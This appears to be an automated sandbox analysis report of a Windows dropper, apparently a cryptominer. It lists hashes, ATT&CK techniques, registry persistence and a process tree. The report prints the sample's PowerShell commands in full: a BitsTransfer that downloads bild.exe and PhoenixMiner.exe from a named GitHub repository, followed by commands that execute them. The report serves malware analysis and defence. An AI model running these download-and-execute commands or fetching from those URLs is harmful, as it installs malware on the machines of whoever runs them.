5b438029e5a3e3843b22f8f49fa1ccac728eeced3f923426be8b22c35b27b6f6

General

Target

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Size

8.3MB
MD5

9ed9ad87a1564fbb5e1b652b3e7148c8
SHA1

0c001b7e9615cbc22eac2a324d8deb7eaf069ff7
SHA256

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89
SHA512

e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/bild.exe

exe.dropper

https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe

Signatures

Executes dropped EXE 1 IoCs

Processes:

PhoenixMiner.exe

pid process

4176 PhoenixMiner.exe

pid	process
4176	PhoenixMiner.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

PhoenixMiner.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	PhoenixMiner.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	PhoenixMiner.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4464 powershell.exe
4464 powershell.exe
4848 powershell.exe
4848 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4464 powershell.exe
Token: SeDebugPrivilege 4848 powershell.exe

pid	process
4464	powershell.exe
4464	powershell.exe
4848	powershell.exe
4848	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exePhoenixMiner.exe

description	pid	process	target process
PID 4744 wrote to memory of 4176	4744	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 4744 wrote to memory of 4176	4744	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 4744 wrote to memory of 4176	4744	3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe	PhoenixMiner.exe
PID 4176 wrote to memory of 4464	4176	PhoenixMiner.exe	powershell.exe
PID 4176 wrote to memory of 4464	4176	PhoenixMiner.exe	powershell.exe
PID 4176 wrote to memory of 4464	4176	PhoenixMiner.exe	powershell.exe
PID 4176 wrote to memory of 4848	4176	PhoenixMiner.exe	powershell.exe
PID 4176 wrote to memory of 4848	4176	PhoenixMiner.exe	powershell.exe
PID 4176 wrote to memory of 4848	4176	PhoenixMiner.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
"C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4744

C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4176

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command Start-Process lWr.exe; Start-Process ck.exe;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

Web Service

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
b6deac3351c943410eafe90bc93687c8

SHA1
34ff10b6e186ff6f7b6f39ebb127ee137ade5589

SHA256
1775d61fb6831a2c572bb51d5772952ee13bbee68bde0367546bb04811a70f0a

SHA512
3e025c20277dff003fe09afa2a9014d2fe42761bec935f7d7eb917ddb5b8760d5e3bc643e81d28fa7352c398cbdffcc0dbb5302e7fc6b97969387a3ef313b880

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
079a33c4fee1c86c054b53ed3be615ba

SHA1
5e0380500c12f97740565c15d12f784fbc38b8f9

SHA256
d7c6ba965d23b558dc950644133250b327df98ab295aee49f81ee4420bafc6c7

SHA512
548d4bd900f53f3bff1c3bd4654cd1bdc1247d6ef9ea4b70e76120bbd7c1931d6129a306bcd29573c7324451c3cb98e68cfb3d97cc3a954df2170adc25aae619

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
091e2e8fbb17bbf54b7c650e34dc6c22

SHA1
a6b3b9ecd04aa49db3ad48bd030b3e441bce2c09

SHA256
9c6e83cd6015fea0f2c9bd84911121f3d6fe928d530ac44c4f97ba03ab48c448

SHA512
5a937969639cd5c7f746c35757f802595d1dad4292d2a837b93ddc7c990389cff351063a60ebf5f039c0b9b07ce933c2576dc7f44b764c1733a920ba30bcce33

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C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe

Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

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C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe

Filesize
8.2MB

MD5
c74ab76362f2321b7143e8ba2517c16b

SHA1
6b4c65e2b1ba59d155c5d453285fae4d3e52b2a6

SHA256
938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f

SHA512
2a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17

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memory/4176-130-0x0000000000000000-mapping.dmp

Download
memory/4464-136-0x0000000005F80000-0x0000000005FA2000-memory.dmp

Filesize
136KB

Download
memory/4464-134-0x0000000003280000-0x00000000032B6000-memory.dmp

Filesize
216KB

Download
memory/4464-138-0x00000000061C0000-0x0000000006226000-memory.dmp

Filesize
408KB

Download
memory/4464-139-0x0000000006800000-0x000000000681E000-memory.dmp

Filesize
120KB

Download
memory/4464-140-0x00000000079D0000-0x0000000007A66000-memory.dmp

Filesize
600KB

Download
memory/4464-141-0x0000000006D00000-0x0000000006D1A000-memory.dmp

Filesize
104KB

Download
memory/4464-142-0x0000000006D50000-0x0000000006D72000-memory.dmp

Filesize
136KB

Download
memory/4464-143-0x0000000008060000-0x0000000008604000-memory.dmp

Filesize
5.6MB

Download
memory/4464-144-0x0000000007C10000-0x0000000007C24000-memory.dmp

Filesize
80KB

Download
memory/4464-133-0x0000000000000000-mapping.dmp

Download
memory/4464-135-0x0000000005910000-0x0000000005F38000-memory.dmp

Filesize
6.2MB

Download
memory/4464-137-0x00000000060E0000-0x0000000006146000-memory.dmp

Filesize
408KB

Download
memory/4848-145-0x0000000000000000-mapping.dmp

Download
memory/4848-149-0x0000000007390000-0x00000000073C2000-memory.dmp

Filesize
200KB

Download
memory/4848-150-0x000000006F2F0000-0x000000006F33C000-memory.dmp

Filesize
304KB

Download
memory/4848-151-0x0000000007370000-0x000000000738E000-memory.dmp

Filesize
120KB

Download
memory/4848-152-0x0000000008430000-0x0000000008AAA000-memory.dmp

Filesize
6.5MB

Download
memory/4848-153-0x00000000075A0000-0x00000000075AA000-memory.dmp

Filesize
40KB

Download
memory/4848-154-0x0000000007750000-0x000000000775E000-memory.dmp

Filesize
56KB

Download
memory/4848-155-0x00000000077A0000-0x00000000077BA000-memory.dmp

Filesize
104KB

Download
memory/4848-156-0x0000000007790000-0x0000000007798000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads